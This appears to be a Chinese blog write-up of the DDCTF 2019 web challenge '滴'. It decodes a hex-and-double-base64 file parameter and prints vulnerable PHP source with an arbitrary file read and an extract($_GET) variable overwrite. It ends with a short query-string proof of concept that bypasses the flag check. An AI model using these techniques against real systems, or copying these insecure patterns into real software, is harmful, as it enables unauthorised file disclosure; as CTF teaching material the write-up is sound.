美文网首页WEB
DDCTFWEB.滴

DDCTFWEB.滴

作者: kepler404 | 来源:发表于2019-04-16 14:13 被阅读13次

首先观察这个,是经过2次base64和一次16进制得到flag.jpg

然后想,index.php也先16进制,然后2次base64, 看源码, 拿去解密,

得到

<?php

/*

* https://blog.csdn.net/FengBanLiuYun/article/details/80616607

* Date: July 4,2018

*/

error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');

if(! isset($_GET['jpg']))

    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');

$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));

echo '<title>'.$_GET['jpg'].'</title>';

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

echo $file.'</br>';

$file = str_replace("config","!", $file);

echo $file.'</br>';

$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*

* Can you find the flag file?

*

*/

?>


看到出题人博客,就想社工一下

根据这个提示,找到哪天的博客

这里是出题人打开的时候自动生成的文件,可能有敏感信息 发现 这里存在问题 通过题目提示,现在要获取f1ag!ddctf的源码 得到源码

<?php

include('config.php');

$k = 'hello';

extract($_GET);

if(isset($uid))

{

    $content=trim(file_get_contents($k));

    if($uid==$content)

{

echo $flag;

}

else

{

echo'hello';

}

}

?>

可以构造poc

?uid=&k=

相关文章

  • DDCTFWEB.滴

    首先观察这个,是经过2次base64和一次16进制得到flag.jpg 得到

  • 滴…滴…滴…

    在北京闯荡的外乡人 好奇麻木厌倦却上瘾般的无法摆脱这座城市的种种诱惑 早高峰的地铁 更像一个地下的百态剧场 每个人...

  • ——滴——滴——DIY🐾 🐾

  • 滴,答滴

  • 滴嗒滴

    和潘哥讨论了一早上的茅山道术,我要开始相信迷信了。据说搞到他们家秘籍背个滚瓜烂熟就可以施法了~ 午饭和潘哥的饭友们...

  • 滴哩滴哩滴哩

    一个朋友,曾梦想仗剑走天涯,但到股市之后剑给亏没了...! 于是,跑上山找到方丈,“大师,我已看破红尘,对尘世毫无...

  • 额滴额滴都是额滴

    这棵石榴树每年都开花,每年都结果,每年都开好多花,每年都结很多石榴。 我几乎每年的每天都从它跟前路过,从春天到冬天...

  • 细滴!细滴!

    那个叫张瑞桐的小姑娘也来滑梯这玩了。 正在与小伙伴玩的开心的大宝第一个发现了,那是他们班的同学。便友好的喊了句:“...

  • 不认滴!不认滴!

    那还是1994年下半年,托刘师傅关系,我又来到了油城在胜利石油开发公司作业队工作。本文记录的是上班后首次回家探亲的...

  • 大滴大滴

    30号,31号两天1000题。 1号政治。 2号英语。 3号专业课。

网友评论

    本文标题:DDCTFWEB.滴

    本文链接:https://www.haomeiwen.com/subject/elfbwqtx.html